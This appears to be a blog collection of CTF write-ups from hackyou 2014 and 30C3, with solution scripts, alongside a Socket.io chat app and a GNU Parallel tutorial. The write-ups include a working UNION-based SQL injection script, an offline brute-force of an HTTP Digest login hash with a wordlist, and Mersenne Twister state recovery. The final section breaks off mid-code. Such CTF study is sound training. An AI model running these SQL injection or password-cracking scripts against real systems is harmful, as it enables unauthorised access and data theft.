# hackyou 2k14: PPC - Play with me (200 points)


# cat game.py
#!/usr/bin/python

from sys import argv, exit
from re import sub
from netlib import sc

def nextpos(r, c):
        if c < C - 1:
                c += 1
        elif r < R - 1:
                r += 1
                c = 0
        else:
                r += 1
        return r, c

def strike(board, row, column, solution, figures):
        b = board
        s = solution
        f = figures
        strike = False

        i = column
        left = [0, 0, 0]
        while left[2] == 0 and 0 < i <= column:
                i -= 1
                left[0] = row
                left[1] = i
                left[2] = b[row][i]

        i = column
        right = [0, 0, 0]
        while right[2] == 0 and column <= i < C - 1:
                i += 1
                right[0] = row
                right[1] = i
                right[2] = b[row][i]

        i = row
        up = [0, 0, 0]
        while up[2] == 0 and 0 < i <= row:
                i -= 1
                up[0] = i
                up[1] = column
                up[2] = b[i][column]

        i = row
        down = [0, 0, 0]
        while down[2] == 0 and row <= i < R - 1:
                i += 1
                down[0] = i
                down[1] = column
                down[2] = b[i][column]

        if left[2] != 0 and (left[2] == up[2] or left[2] == right[2] or left[2] == down[2]):
                b[left[0]][left[1]] = 0
                f -= 1
                strike = True

        if up[2] != 0 and (up[2] == right[2] or up[2] == down[2] or up[2] == left[2]):
                b[up[0]][up[1]] = 0
                f -= 1
                strike = True

        if right[2] != 0 and (right[2] == down[2] or right[2] == left[2] or right[2] == up[2]):
                b[right[0]][right[1]] = 0
                f -= 1
                strike = True

        if down[2] != 0 and (down[2] == left[2] or down[2] == up[2] or down[2] == right[2]):
                b[down[0]][down[1]] = 0
                f -= 1
                strike = True

        if strike:
                s.append((row, column))
                game(b, 0, 0, s, f)

def send(solution, board):
        global sc
        s = ''
        for coordinate in solution:
                s += '(' + str(coordinate[0]) + ',' + str(coordinate[1]) + ');'
        print s
        if sc.send(s + '\n') == False:
                exit()
        data = sc.recv(buffsize, timeout)
        print data
        exit()

def game(board, row, column, solution, figures):
        while row < R:
                #is solution
                if figures == 0:
                        send(solution, board);
                #is not a solution
                elif board[row][column] == 0:
                        strike(board, row, column, solution, figures)
                row, column  = nextpos(row, column)

def count(board):
        f = 0
        for r in board:
                for c in r:
                        if c != 0:
                                f += 1
        return f

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = argv[1]
port = argv[2]

C = 10
R = 20
solution = []

sc = sc(ip, port, 'tcp')
if sc.connect(max_retries, pause):
        sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        print data
        data = data[28:-15].split('\n')
        board = []
        for line in data:
                line = line[3:]
                line = sub(r"1b5b306d|1b5b|6d30", "", line.encode('hex'))
                line = sub(r"20", "0,", line)
                line = sub(r"3331", "1,", line)
                line = sub(r"3332", "2,", line)
                line = sub(r"3333", "3,", line)
                line = sub(r"3334", "4,", line)
                line = sub(r"3336", "6,", line)
                line = sub(r"3337", "7,", line)
                line = [ int(char) for char in line[:-1].split(',')]
                board.append(line)
        game(board, 0, 0, solution, count(board))
# ./game.py hackyou2014tasks.ctf.su 9876
   0123456789
  -----------
 0|   00 00
 1|  0 000
 2|0   0 0 0
 3|   00 00 0
 4|000   000
 5|     00000
 6| 0    000
 7|0 000   0
 8|0 00 0 00
 9|0 0  0 0 0
10|00 0 0 0
11|00000   0
12|0  0 0 0
13| 0  0000
14| 0 00 0  0
15| 0 00000
16|  0 0 0 0
17| 00 0 00 0
18|0 0    000
19|000  00  0
#############

(2,2);(2,3);(2,0);(2,2);(0,8);(3,3);(3,2);(3,3);(4,3);(1,3);(1,0);(1,0);(3,1);(0,9);(4,4);(4,5);(6,5);(6,1);(6,2);(7,2);(7,6);(6,8);(8,6);(9,1);(9,1);(5,0);(9,5);(9,0);(11,2);(11,2);(10,2);(11,4);(12,1);(12,6);(13,1);(13,4);(13,0);(14,0);(13,3);(14,8);(15,1);(16,2);(14,4);(17,5);(17,6);(17,1);(15,9);(15,7);(15,8);(16,9);
You win!
CTF{0a10f3f9e37d18c39e017ec8bbd5d2ea}

# Socket.io chat


# cat chat.io
var http = require('http');
var fs = require('fs');
var url = require('url');

var nicknames_list = [];
var ip_address = '192.168.1.1'
var port = 1234
var socketio_path = '/usr/local/lib/node_modules/socket.io'
var index_path = '/index.html'
var jquery_path = '/jquery.min.js'
var css_path = '/style.css'
var encoding = 'utf-8'

var server = http.createServer(function (req, res){
 var pathname = url.parse(req.url).pathname;
 if(pathname === '/'){
  fs.readFile('.' + index_path, function (err, data){
   res.writeHead(200, {'content-type': 'text/html'});
   res.end(data, encoding);
  });
 }else if(pathname === jquery_path){
  fs.readFile('.' + jquery_path, function (err, data){
   res.writeHead(200, {'content-type': 'application/javascript'});
   res.end(data, encoding);
  });
 }else if(pathname === css_path){
  fs.readFile('.' + css_path, function (err, data){
   res.writeHead(200, {'content-type': 'text/css'});
   res.end(data, encoding);
  });
 }
}).listen(port, ip_address);

var io = require(socketio_path).listen(server);

io.sockets.on('connection', function (socket){

 socket.on('nickname', function (data, callback){
  if(nicknames_list.indexOf(data) !== -1){
   callback(false);
  }else{
   callback(true);
   nicknames_list.push(data);
   socket.nickname = data;
   console.log('Nickname list: ' + nicknames_list);
   io.sockets.emit('nicknames_list', nicknames_list);
  }
 });

 socket.on('message', function (data){
  io.sockets.emit('message', {nickname: socket.nickname, message: data});
 });

 socket.on('disconnect', function (){
  if(!socket.nickname) return;
  var index = nicknames_list.indexOf(socket.nickname);
  if(index > -1){
   nicknames_list.splice(index, 1);
  }
  console.log('Nickname list: ' + nicknames_list);
  io.sockets.emit('nicknames_list', nicknames_list);
 });

});
# cat index.html
<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset='utf-8'>
  <title>chat.io</title>
  <link rel='stylesheet' type='text/css' href='style.css'>

  <script src='/jquery.min.js'></script>
  <script src='/socket.io/socket.io.js'></script>

  <script>
   var host = '192.168.1.1';
   var port = '1234';
   var socket = io.connect('http://' + host + ':' + port);
   jQuery(function ($){

    var nickname = $('#nickname');
    var nickname_form = $('#nickname_form');
    var nicknames_list = $('#nicknames_list');
    var message = $('#message');
    var message_ml = $('#message_ml');
    var message_form = $('#message_form');
    var message_ml_form = $('#message_ml_form');
    var messages_list = $('#messages_list');

    nickname_form.submit(function (event){
     event.preventDefault();
     socket.emit('nickname', nickname.val(), function (data){
      if(data){
       nickname_form.hide();
       nicknames_list.show();
       message_form.show();
       message_ml_form.show();
       messages_list.show();
      }else{
       nickname_form.prepend('<p>Sorry, the nickname is taken.</p>');
      }
     });
    });

    message_form.submit(function (event){
     event.preventDefault();
     if(message.val() !== ''){
      socket.emit('message', message.val());
      message.val('').focus();
     }
    });

    message_ml_form.submit(function (event){
     event.preventDefault();
     if(message_ml.val() !== ''){
      socket.emit('message', message_ml.val());
      message_ml.val('').focus();
     }
    });

    socket.on('nicknames_list', function (data){
     var nl = '';
     for(var i = 0; i < data.length; i++){
      nl += '<li>[' + data[i] + ']</li>';
     }
     nicknames_list.empty().append(nl);
    });

    socket.on('message', function(data){
     messages_list.val(messages_list.val() + '\n[' + data.nickname + '] ' + data.message);
     messages_list.scrollTop(messages_list[0].scrollHeight - messages_list.height());
    });

   });
  </script>
 </head>
 <body>
  <div id='top'>
   <div id='title'>chat.io</div>
  </div>
  <div id='center'>
   <div id='right'>
    <section id='nicknames_list'>
     <ul></ul>
    </section>
   </div>

   <div id='left'>
    <form id='nickname_form'>
     <input type='text' id='nickname' placeholder='<Enter your nickname>'>
     <button type='submit'>Submit</button>
    </form>

    <textarea id='messages_list' readonly></textarea>

    <form id='message_form'>
     <input type='text' id='message' placeholder='<Send single line>'></input>
     <button type='submit'>Send</button>
    </form>

    <form id='message_ml_form'>
     <textarea id='message_ml' placeholder='<Paste multiline>'></textarea>
     <button type='submit'>Paste</button>
    </form>
   </div>
  </div>
 </body>
</html>
# cat style.css
html {
 background: #000;
 color: #575;
 font-family: monospace;
 font-size: 12px;
 margin: 0;
 padding: 0;
}

input, button, textarea {
 background: #000;
 border: 1px solid #575;
 color: #575;
 font-family: monospace;
 font-size: 12px;
 margin-bottom: 10px;
 padding-left: 5px;
}

#top {
 width: 100%;
}

#center {
 width: 100%;
}

#left {
 width: 80%;
}

#right {
 float: right;
 width: 20%;
}

#title {
 font-size: 30px;
}

#nickname {
 width: 90%;
}

#message_form, #message_ml_form {
 display: none;
}

#message, #message_ml {
 width: 90%;
}

#messages_list{
 display: none;
 height: 400px;
 width: 90%;
}

#nicknames_list {
 display: none;
 list-style-type: none;
}
# nodejs chat.io
   info  - socket.io started

# hackyou 2k14: Crypto - Easy one (100 points)


# cat encryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "CENSORED";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
                t = p;
                i++;
                fputc(c, output);
        }
        return 0;
}
# cat crypto.py
#!/usr/bin/python

data = open('msg001.enc', 'rb').read()
enc = []
for byte in data[:-1]:
        enc.append(ord(byte))
plain = 'Hi! This is only test message'
i = t = 0
key = ''
for e in enc:
        x = ord(plain[i])
        k = ((e - x - (i * i)) ^ t) & 0xff
        t = x
        key += chr(k)
        i += 1
print key
# ./crypto.py
VeryLongKeyYouWillNeverGuessV
# cat decryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "VeryLongKeyYouWillNeverGuess";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p - (k[i % strlen(k)] ^ t) - i*i) & 0xff;
                t = c;
                i++;
                fputc(c, output);
        }
        return 0;
}
# gcc -o decryptor decryptor.c
# ./decryptor msg002.enc msg002
# cat msg002
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}

# hackyou 2k14: Network - PCAP (100 points)


# tshark -V -r net100.pcap -R "frame.number==3" | grep Authorization | tr ',' '\n'
    Authorization: Digest username="admin"
 realm="Private Area"
 nonce="1389094144"
 uri="/auth.php"
 response="f86930f9e0466aeced34036bc2f7a346"
 opaque="8be5ca4697def50a128600e8f106efd5"
 qop=auth
 nc=00000001
 cnonce="347278e387a2f030"\r\n
# cat network.py
#!/usr/bin/python

from hashlib import md5

url = 'http://54.201.187.163'
username = 'admin'
realm = 'Private Area'
method = 'GET'
uri = '/auth.php'
nonce = '1389094144'
nc = '00000001'
cnonce = '347278e387a2f030'
qop = 'auth'
response = 'f86930f9e0466aeced34036bc2f7a346'

for password in open('rockyou.txt', 'r'):
   password = password.strip()
   ha1 = md5(username + ':' + realm + ':' + password).hexdigest()
   ha2 = md5(method + ':' + uri).hexdigest()
   res = md5(ha1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + ha2).hexdigest()
   if res == response:
    print password
    import urllib2
    authhandler = urllib2.HTTPDigestAuthHandler()
    authhandler.add_password(realm, url + uri, username, password)
    opener = urllib2.build_opener(authhandler)
    urllib2.install_opener(opener)
    res = urllib2.urlopen(url + uri)
            print res.read()
    break
# ./network.py
cowboy123
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

# hackyou 2k14: Web - Voting (100 points)


# cat web.py
#!/usr/bin/python

import re, urllib, urllib2

def inject(hexid):
   url    = 'http://hackyou2014tasks.ctf.su:10080/index.php'
   values = {
    'id'    : hexid,
    'vote'  : '1',
    'submit': 'Submit'
   }
   data = urllib.urlencode(values)
   req  = urllib2.Request(url, data)
   res  = urllib2.urlopen(req)
   return res.read()

hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables'.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables where table_name like \'f%\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(column_name) from information_schema.columns where table_name=\'Flag\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select flag from Flag'.encode('hex')
print re.search(r'CTF{.*}', inject(hexid)).group()
# ./web.py
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long,events_waits_summary_by_instance,events_waits_summary_by_thread_by_event_name,events_waits_su</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
CTF{820178c33c03aaa7cfe644c691679cf8}

# hackyou 2k14: Reverse - NotEasyTask (100 points)


ILSpy decompilation
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i < text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");
C:\> reverse100.exe (2)
C:\> nc -l 127.0.0.1 31337 (1)
CTF{7eb67b0bb4427e0b43b40b6042670b55}

# hackyou 2k14: PPC - Trash (100 points)


# cat decode-qr.py
#!/usr/bin/python
#-*- coding: utf8 -*-

from zbar import Image, ImageScanner
from Image import open as iopen
from glob import glob

f = open('my.zip', 'wb')
if f:
   scanner = ImageScanner()
   files = glob('*.png')
   files.sort()
   for file in files:
    print file
    pil = iopen(file).convert('L')
    w, h = pil.size
    image = Image(w, h, 'GREY', pil.tostring())
    scanner.scan(image)
    for symbol in image:
     if 'QRCODE' in str(symbol.type):
      f.write(symbol.data.decode('utf-8')[9:].encode('latin-1'))
   f.close()
else:
   print 'File error'
# ./decode-qr.py
# file='my.zip'; while [ true ]; do nfile=`unzip $file | grep inflating | awk '{print $2}'`; rm $file; file=$nfile; if [ `echo -n $file | wc -c` -ne 36 ]; then break; fi; done; echo $file
# cat decode-pickle.py
#!/usr/bin/python

from pickle import load
from sys import argv

pkl_file = open(argv[1], 'rb')
data = load(pkl_file)
for line in data:
   string = ''
   for char, count in line:
    string += char * count
   print string
# ./decode-pickle.py $file
CTF{a280fbc26d0781ce50d685a2a31295ab}

# GNU Parallel tutorial


Prerequisites

# mkdir parallel_tutorial
# cd parallel_tutorial
# GET=$(echo wget -qO -)
# LATEST=$($GET http://ftpmirror.gnu.org/parallel | perl -ne '/(parallel-\d{8})/ and print $1."\n"' | sort | tail -n1)
# $GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2 > $LATEST.tar.bz2
# $GET http://ftpmirror.gnu.org/parallel/$LATEST.tar.bz2.sig > $LATEST.tar.bz2.sig
# gpg --keyserver keys.gnupg.net --recv-key 88888888
# gpg --with-fingerprint $LATEST.tar.bz2.sig 2>&1 | grep -e RSA -e 'CDA0 1A42 08C4 F745 0610  7E7B D1AB 4516 8888 8888'
# bzip2 -dc $LATEST.tar.bz2 | tar xf -
# cd $LATEST
# ./configure
# make
# make install
# echo -e '--gnu' > /etc/parallel/config
# cd ..
# rm -rf $LATEST*
# which parallel
/usr/local/bin/parallel
# file /usr/local/bin/parallel
/usr/local/bin/parallel: Perl script, ASCII text executable, with escape sequences
# parallel --bibtex
> will cite
# parallel -k echo ::: A B C > abc-file
# parallel -k echo ::: D E F > def-file
# perl -e 'printf "A\0B\0C\0"' > abc0-file
# perl -e 'printf "A_B_C_"' > abc_-file
# perl -e 'printf "f1\tf2\nA\tB\nC\tD\n"' > tsv-file.tsv
# perl -e 'for(1..30000){print "$_\n"}' > num30000
# perl -e 'for(1..1000000){print "$_\n"}' > num1000000
# (echo %head1; echo %head2; perl -e 'for(1..10){print "$_\n"}') > num_%header
# SERVER1=192.168.1.1
# SERVER2=192.168.1.2
# ssh-keygen
# ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER1
# ssh-copy-id -i /root/.ssh/id_rsa.pub $SERVER2
# ssh $SERVER1 echo works
# ssh $SERVER2 echo works

A single input source

# parallel echo ::: A B C
# parallel -a abc-file echo
# cat abc-file | parallel echo
A
B
C

Multiple input sources

# parallel echo ::: A B C ::: D E F
# parallel -a abc-file -a def-file echo
# cat abc-file | parallel -a - -a def-file echo
# cat abc-file | parallel echo :::: - def-file
# parallel echo ::: A B C :::: def-file
A D
A E
A F
B D
B E
B F
C D
C E
C F
# parallel --xapply echo ::: A B C D E ::: F G
A F
B G
C
D
E
# parallel --xapply echo ::: A B C D E ::: F G
A F
B G
C F
D G
E F

Changing the argument separator/delimiter

# parallel --arg-sep ,, --arg-file-sep // echo ,, A B C // def-file
A D
A E
A F
B D
B E
B F
C D
C E
C F
# parallel -d _ echo :::: abc_-file
# parallel -d '\0' echo :::: abc0-file
# parallel -0 echo :::: abc0-file
A
B
C

End-of-file value for input source

# parallel -E stop echo ::: A B stop C D
A
B

Skipping empty lines

# echo -e "1\n\n\n\n\n2\n" | parallel --no-run-if-empty echo
1
2

No command means arguments are commands

# parallel ::: ls 'echo foo' pwd
abc0-file
abc_-file
abc-file
def-file
num1000000
num30000
num_%header
tsv-file.tsv
foo
/parallel_tutorial

The 5 replacement strings

# parallel echo ::: A/B.C
# parallel echo {} ::: A/B.C
A/B.C
# parallel echo {.} ::: A/B.C
A/B
# parallel echo {/} ::: A/B.C
B.C
# parallel echo {//} ::: A/B.C
A
# parallel echo {/.} ::: A/B.C
B
# parallel echo {#} ::: A B C # gives the job number
1
2
3

Changing the replacement strings

# parallel -I ,, echo ,, ::: A/B.C
A/B.C
# parallel --extensionreplace ,, echo ,, ::: A/B.C
A/B
# parallel --basenamereplace ,, echo ,, ::: A/B.C
B.C
# parallel --dirnamereplace ,, echo ,, ::: A/B.C
A
# parallel --basenameextensionreplace ,, echo ,, ::: A/B.C
B
# parallel --seqreplace ,, echo ,, ::: A B C
1
2
3

Positional replacement strings

# parallel echo {1} and {2} ::: A B ::: C D
A and C
A and D
B and C
B and D
# parallel echo /={1/} //={1//} /.={1/.} .={1.} ::: A/B.C D/E.F
/=B.C //=A /.=B .=A/B
/=E.F //=D /.=E .=D/E
# parallel echo 1={1} 2={2} 3={3} -1={-1} -2={-2} -3={-3} ::: A B ::: C D ::: E F
1=A 2=C 3=E -1=E -2=C -3=A
1=A 2=C 3=F -1=F -2=C -3=A
1=A 2=D 3=E -1=E -2=D -3=A
1=A 2=D 3=F -1=F -2=D -3=A
1=B 2=C 3=E -1=E -2=C -3=B
1=B 2=C 3=F -1=F -2=C -3=B
1=B 2=D 3=E -1=E -2=D -3=B
1=B 2=D 3=F -1=F -2=D -3=B

Input from columns

# parallel --colsep '\t' echo 1={1} 2={2} :::: tsv-file.tsv
1=f1 2=f2
1=A 2=B
1=C 2=D

Header defined replacement strings

# parallel --header : --colsep '\t' echo f1={f1} f2={f2} :::: tsv-file.tsv
f1=A f2=B
f1=C f2=D

More than one argument

# cat num30000 | parallel --xargs echo | wc -l
2
# cat num30000 | parallel --xargs -s 10000 echo | wc -l
17
# cat num30000 | parallel --jobs 4 -m echo | wc -l
5
# parallel --jobs 4 -m echo pre-{}-post ::: A B C D E F G
pre-A B-post
pre-C D-post
pre-E F-post
pre-G-post
# parallel --jobs 4 -X echo pre-{}-post ::: A B C D E F G
pre-A-post pre-B-post
pre-C-post pre-D-post
pre-E-post pre-F-post
pre-G-post
# parallel -N3 echo ::: A B C D E F G H
A B C
D E F
G H

Quoting

# parallel -q perl -e 'print "@ARGV\n"' ::: This works
# parallel perl -e \''print "@ARGV\n"'\' ::: This works
This
works

Trimming space

# parallel --trim r echo pre-{}-post ::: ' A '
pre- A-post
# parallel --trim l echo pre-{}-post ::: ' A '
pre-A -post
# parallel --trim lr echo pre-{}-post ::: ' A '
pre-A-post

Controling the output

# parallel --tag echo foo-{} ::: A B C
A       foo-A
B       foo-B
C       foo-C
# parallel --tagstring {}-bar echo foo-{} ::: A B C
A-bar   foo-A
B-bar   foo-B
C-bar   foo-C
# parallel --dryrun echo {} ::: A B C
echo A
echo B
echo C
# parallel --verbose echo {} ::: A B C
echo A
echo B
A
echo C
B
C
# parallel -j2 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
2-start
2-middle
2-end
1-start
1-middle
1-end
4-start
4-middle
4-end
# parallel -j2 --ungroup 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
42-start
2-middle
2-end
1-start
1-middle
1-end
-middle
4-end
# parallel -j2 --linebuffer 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
2-start
2-middle
2-end
1-start
1-middle
1-end
4-middle
4-end
# parallel -j2 -k 'printf "%s-start\n%s" {} {};sleep {};printf "%s\n" -middle;echo {}-end' ::: 4 2 1
4-start
4-middle
4-end
2-start
2-middle
2-end
1-start
1-middle
1-end

Saving output into files

# parallel --files ::: A B C
/tmp/kDpvB7d8aA.par
/tmp/1WyUUJEhht.par
/tmp/PgWjftjche.par
# parallel --tmpdir /var/tmp --files ::: A B C
# TMPDIR=/var/tmp parallel --files ::: A B C
/var/tmp/nvpct2t9WP.par
/var/tmp/nufRxiok6Y.par
/var/tmp/_2gy6BRhiC.par
# parallel --results outdir echo ::: A B C
A
B
C
# find outdir | grep std
outdir/1/B/stderr
outdir/1/B/stdout
outdir/1/C/stderr
outdir/1/C/stdout
outdir/1/A/stderr
outdir/1/A/stdout

Number of simultaneous jobs

# # 64 jobs/#core
# /usr/bin/time parallel -N0 -j64 sleep 1 ::: {1..128}
# # 1 job/#core
# /usr/bin/time parallel -N0 sleep 1 ::: {1..128}
# #2 jobs for each core
# /usr/bin/time parallel -N0 --jobs 200% sleep 1 ::: {1..128}
# #Run as may jobs in parallel as possible
# /usr/bin/time parallel -N0 --jobs 0 sleep 1 ::: {1..128}
# parallel --use-cpus-instead-of-cores -N0 sleep 1 ::: {1..128}

Interactiveness

# parallel --interactive echo ::: 1 2 3
echo 1 ?...n
echo 2 ?...n
echo 3 ?...n
# parallel -X --dry-run --tty vi ::: 1 2 3
vi 1 2 3
# parallel --dry-run --tty vi ::: 1 2 3
vi 1
vi 2
vi 3

Timing

# parallel --delay 2.5 echo Starting {}\;date ::: 1 2 3
Starting 1
Sat Jan  4 13:37:00 CET 2014
Starting 2
Sat Jan  4 13:37:02 CET 2014
Starting 3
Sat Jan  4 13:37:05 CET 2014
# parallel --timeout 2.1 sleep {}\; echo {} ::: 1 2 3 4
1
2
# parallel --timeout 200% sleep {}\; echo {} ::: 2.1 2.2 3 7 2.3
2.1
2.2
3
2.3
# parallel --eta sleep ::: 1 3 2 2 1 3 3 2 1

Computers / CPU cores / Max jobs to run
1:local / 2 / 2

Computer:jobs running/jobs completed/%of started jobs/Average seconds to complete
ETA: 2s 0left 1.00avg  local:0/9/100%/1.0s

Progress

# parallel --progress sleep ::: 1 3 2 2 1 3 3 2 1

Computers / CPU cores / Max jobs to run
1:local / 2 / 2

Computer:jobs running/jobs completed/%of started jobs/Average seconds to complete
local:0/9/100%/1.0s
# parallel --joblog /tmp/log exit  ::: 1 2 3 0
# cat /tmp/log
Seq     Host    Starttime       Runtime Send    Receive Exitval Signal  Command
1       :       1388839020.557  0.004   0       0       1       0       exit 1
2       :       1388839020.560  0.006   0       0       2       0       exit 2
3       :       1388839020.566  0.005   0       0       3       0       exit 3
4       :       1388839020.570  0.003   0       0       0       0       exit 0

Termination

# parallel -j2 --halt 1 echo {}\; exit {} ::: 0 0 1 2 3
0
0
1
parallel: Starting no more jobs. Waiting for 2 jobs to finish. This job failed:
echo 1; exit 1
2
parallel: Starting no more jobs. Waiting for 1 jobs to finish. This job failed:
echo 2; exit 2
# parallel -j2 --halt 2 echo {}\; exit {} ::: 0 0 1 2 3
0
0
1
parallel: This job failed:
echo 1; exit 1
# parallel -k --retries 3 'echo tried {} >>/tmp/runs; echo completed {}; exit {}' ::: 1 2 0
completed 1
completed 2
completed 0
# cat /tmp/runs
tried 1
tried 2
tried 1
tried 2
tried 1
tried 2
tried 0

Limiting the ressources

# parallel --load 100% echo load is less than {} job per cpu ::: 1
load is less than 1 job per cpu
# parallel --noswap echo the system is not swapping ::: now
the system is not swapping now
# parallel --nice 17 echo this is being run with nice -n ::: 17
this is being run with nice -n 17

Sshlogin

# parallel -S 1/$SERVER1 echo running on {} (1 CPU)::: $SERVER1
running on 192.168.1.1 (1 CPU)
# parallel -S $SERVER1,$SERVER2 'hostname; echo {}' ::: running on more hosts
server2
running
server1
on
server2
more
server1
hosts

Transferring files

# echo This is input_file > input_file
# parallel -S $SERVER1 --transfer --return {}.out --cleanup cat {} ">" {}.out ::: input_file
# cat input_file.out
This is input_file
# echo common data > common_file
# parallel --basefile common_file -S $SERVER1 --cleanup cat common_file\; echo {} ::: foo
common data
foo

Running the same commands on all hosts

# parallel --onall -S $SERVER1,$SERVER2 echo ::: foo bar
foo
bar
foo
bar
# parallel --nonall -S $SERVER1,$SERVER2 echo foo bar
foo bar
foo bar

References

http://www.gnu.org/software/parallel/parallel_tutorial.html

# 30C3 2k13: Numbers - Guess (100 points)


The challenge

Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888

# wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz
# tar xvzf guess.tar.gz
server.py
# cat server.py
#!/usr/bin/env python2
import socket
import random
import sys
import os
import signal

flag ="foobar"

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 8888))
s.listen(10)
while 1:
        c, _ = s.accept()
        if c is None:
                sys.exit(1)
        if os.fork() == 0:
                del s
                break
        del c

c.sendall("Welcome to this little guessing game!\n")
r = random.Random()
r.seed(os.urandom(16))
guess_limit = 10
guess_right = 0
data = ""
while 1:
        answer = str(r.getrandbits(64))
        c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit))
        while "\n" not in data:
                cur = c.recv(4096)
                if not cur:
                        sys.exit(0)
                data += cur
        guess, data = data.split("\n", 1)
        if guess != answer:
                guess_right = 0
                c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
                continue
        guess_right += 1
        if guess_right < guess_limit:
                c.sendall("Yes! That was correct, awesome...\n")
                continue
        c.sendall("You did it! The flag is: %s" % flag)
        sys.exit(0)
# cat reverse.py
L = 32
N = 624
M = 397
UM = 2**31
LM = UM - 1

def unBitshiftRightXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = (shiftmask << (L - shift)) >> (shift * i)
                part = value & partmask
                value ^= (part >> shift) & mask
                result |= part
                i += 1
        return result

def BitshiftRightXor(value, shift, mask):
        pmask = (value >> shift) & mask
        result = value ^ pmask
        return result

def unBitshiftLeftXor(value, shift, mask):
        i = 0
        result = 0
        shiftmask = 2**shift - 1
        while (i * shift) < L:
                partmask = shiftmask << (shift * i)
                part = value & partmask
                value ^= (part << shift) & mask
                result |= part
                i += 1
        return result


def BitshiftLeftXor(value, shift, mask):
        pmask = (value << shift) & mask
        result = value ^ pmask
        return result

def untransform(value):
        value = unBitshiftRightXor(value, 18, 0xffffffff)
        value = unBitshiftLeftXor(value,  15, 0xefc60000)
        value = unBitshiftLeftXor(value,   7, 0x9d2c5680)
        value = unBitshiftRightXor(value, 11, 0xffffffff)
        return value

def MTwister(sv, ndx):
